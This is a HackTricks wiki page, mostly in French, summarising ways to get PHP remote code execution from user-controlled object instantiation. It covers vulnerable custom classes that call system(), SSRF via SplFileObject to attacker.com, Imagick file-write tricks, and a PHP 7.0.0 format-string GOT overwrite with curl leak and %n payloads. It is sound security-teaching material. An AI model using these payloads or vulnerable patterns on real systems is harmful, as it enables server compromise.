PHP - RCE abusing object creation: new $_GETâaâ
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
This is basically a summary of https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Introduction
La création de nouveaux objets arbitraires, comme new $_GET["a"]($_GET["a"]), peut conduire à Remote Code Execution (RCE), comme détaillé dans un writeup. Ce document met en lumiÚre différentes stratégies pour obtenir une RCE.
RCE via classes personnalisées ou autoloading
La syntaxe new $a($b) est utilisĂ©e pour instancier un objet oĂč $a reprĂ©sente le nom de la classe et $b est le premier argument passĂ© au constructeur. Ces variables peuvent provenir dâentrĂ©es utilisateur comme GET/POST, oĂč elles peuvent ĂȘtre strings ou arrays, ou de JSON, oĂč elles peuvent apparaĂźtre sous dâautres types.
ConsidĂ©rez lâextrait de code ci-dessous:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
Dans cet exemple, dĂ©finir $a sur App ou App2 et $b sur une commande systĂšme (par ex., uname -a) entraĂźne lâexĂ©cution de cette commande.
Les fonctions dâautochargement peuvent ĂȘtre exploitĂ©es si aucune de ces classes nâest directement accessible. Ces fonctions chargent automatiquement des classes depuis des fichiers lorsque nĂ©cessaire et sont dĂ©finies en utilisant spl_autoload_register ou __autoload :
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Le comportement de lâautoloading varie selon les versions de PHP, offrant diffĂ©rentes possibilitĂ©s de RCE.
RCE via classes intégrées
En lâabsence de classes personnalisĂ©es ou dâautoloaders, les classes PHP intĂ©grĂ©es peuvent suffire pour obtenir une RCE. Le nombre de ces classes varie entre 100 et 200, selon la version de PHP et les extensions. Elles peuvent ĂȘtre listĂ©es avec get_declared_classes().
Les constructeurs intĂ©ressants peuvent ĂȘtre identifiĂ©s via lâAPI de reflection, comme montrĂ© dans lâexemple suivant et le lien https://3v4l.org/2JEGF.
RCE via des méthodes spécifiques comprend :
SSRF + Phar Deserialization
La classe SplFileObject permet le SSRF via son constructeur, autorisant des connexions vers nâimporte quelle URL :
new SplFileObject('http://attacker.com/');
SSRF peut conduire à des attaques de désérialisation dans les versions de PHP antérieures à 8.0 en utilisant le protocole Phar.
Exploiter les PDOs
Le constructeur de la classe PDO permet des connexions aux bases de donnĂ©es via des chaĂźnes DSN, pouvant potentiellement permettre la crĂ©ation de fichiers ou dâautres interactions :
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Versions de PHP jusquâĂ 5.3.22 et 5.4.12 Ă©taient susceptibles dâattaques XXE via les constructeurs SoapClient et SimpleXMLElement, en fonction de la version de libxml2.
RCE via Imagick Extension
Lors de lâanalyse des dĂ©pendances dâun projet, il a Ă©tĂ© dĂ©couvert que Imagick pouvait ĂȘtre exploitĂ© pour une exĂ©cution de commandes en instanciant de nouveaux objets. Cela prĂ©sente une opportunitĂ© dâexploiter des vulnĂ©rabilitĂ©s.
VID parser
La capacitĂ© du VID parser Ă Ă©crire du contenu vers nâimporte quel chemin spĂ©cifiĂ© dans le systĂšme de fichiers a Ă©tĂ© identifiĂ©e. Cela pourrait conduire au placement dâun PHP shell dans un rĂ©pertoire accessible depuis le web, aboutissant Ă une Remote Code Execution (RCE).
VID Parser + File Upload
Il est notĂ© que PHP stocke temporairement les fichiers uploadĂ©s dans /tmp/phpXXXXXX. Le VID parser dâImagick, utilisant le protocole msl, peut gĂ©rer les wildcards dans les chemins de fichiers, facilitant le transfert du fichier temporaire vers un emplacement choisi. Cette mĂ©thode offre une approche supplĂ©mentaire pour obtenir une Ă©criture de fichier arbitraire dans le systĂšme de fichiers.
PHP Crash + Brute Force
A method described in the original writeup involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick.
Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Lorsquâune entrĂ©e utilisateur contrĂŽle le nom de classe (par ex., new $_GET['model']()), PHP 7.0.0 a introduit un bug transitoire lors du refactor de Throwable oĂč le moteur traitait par erreur le nom de la classe comme une chaĂźne de format printf lors de la rĂ©solution. Cela permet les primitives classiques de style printf Ă lâintĂ©rieur de PHP : leaks avec %p, contrĂŽle du compteur dâĂ©criture avec des spĂ©cificateurs de largeur, et Ă©critures arbitraires avec %n contre des pointeurs en processus (par exemple, les GOT entries sur les builds ELF).
Minimal repro vulnerable pattern:
<?php
$model = $_GET['model'];
$object = new $model();
Plan dâexploitation (dâaprĂšs la rĂ©fĂ©rence) :
- Leak des adresses via
%pdans le nom de classe pour trouver une cible écrivable :
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
- Utiliser des paramĂštres positionnels et des spĂ©cificateurs de largeur pour dĂ©finir un nombre exact dâoctets, puis
%npour Ă©crire cette valeur Ă une adresse accessible sur la stack, en visant une entrĂ©e GOT (par ex.,free) pour lâĂ©craser partiellement verssystem. - DĂ©clencher la fonction dĂ©tournĂ©e en passant un nom de classe contenant un shell pipe pour atteindre
system("id").
Remarques :
- Fonctionne uniquement sur PHP 7.0.0 (Bug #71105) ; corrigé dans les versions suivantes. Gravité : critique si une instanciation de classe arbitraire est possible.
- Les payloads typiques enchaĂźnent de nombreux
%ppour parcourir la stack, puis%.<width>d%<pos>$npour effectuer lâĂ©crasement partiel.
Références
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
- The Art of PHP: CTFâborn exploits and techniques
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- VĂ©rifiez les plans dâabonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.


